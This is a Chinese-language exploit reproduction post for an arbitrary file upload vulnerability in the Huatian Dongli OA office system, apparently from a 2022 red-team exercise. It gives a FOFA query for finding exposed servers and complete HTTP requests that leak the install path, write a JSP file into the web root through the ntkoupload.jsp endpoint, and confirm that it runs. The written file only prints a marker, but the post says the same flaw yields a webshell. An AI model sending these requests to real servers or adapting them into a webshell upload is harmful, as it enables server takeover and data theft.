2022HVV 华天动力 OA 任意文件上传漏洞

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漏洞复现 2022HVV 华天动力 OA 任意文件上传漏洞

0x01 阅读须知

0x02 漏洞描述

华天动力协同办公系统将先进的管理思想、管理模式和软件技术、网络技术相结合，为用户提供了低成本、高效能的协同办公和管理平台。睿智的管理者通过使用华天动力协同办公平台，在加强规范工作流程、强化团队执行、推动精细管理、促进营业增长等工作中取得了良好的成效。华天动力oa存在任意文件上传漏洞，攻击者可以上传任意文件，获取webshell，控制服务器权限，读取敏感信息等。

0x03 漏洞复现

fofa：

body=”/OAapp/WebObjects/OAapp.woa” || body=”/OAapp/htpages/app”

1.获取绝对路径

POST /OAapp/jsp/upload.jsp HTTP/1.1
Host: x.x.x.x:800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Ur8laykKAWws2QO
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 293

------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="file"; filename="xxx.xml"
Content-Type: image/png

real path
------WebKitFormBoundary5Ur8laykKAWws2QO
Content-Disposition: form-data; name="filename"

xxx.png
------WebKitFormBoundary5Ur8laykKAWws2QO--

2.写入normalLoginPageForOther.jsp文件，内容为输出5DBB70

POST /OAapp/htpages/app/module/trace/component/fileEdit/ntkoupload.jsp HTTP/1.1
Host: x.x.x.x:800
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryzRSYXfFlXqk6btQm
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 389

------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="EDITFILE"; filename="xxx.txt"
Content-Type: image/png

<%out.print("5DBB70");%>
------WebKitFormBoundaryzRSYXfFlXqk6btQm
Content-Disposition: form-data; name="newFileName"

D:/htoa/Tomcat/webapps/OAapp/htpages/app/module/login/normalLoginPageForOther.jsp
------WebKitFormBoundaryzRSYXfFlXqk6btQm--

3.访问normalLoginPageForOther.jsp文件，得到内容5DBB70

GET /OAapp/htpages/app/module/login/normalLoginPageForOther.jsp HTTP/1.1
Host: x.x.x.x:800
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://x.x.x.x:800/
DNT: 1
Connection: close
Cookie: JSESSIONID=63A1AF6B0B60634BF5B8E71AB4D88B85
Upgrade-Insecure-Requests: 1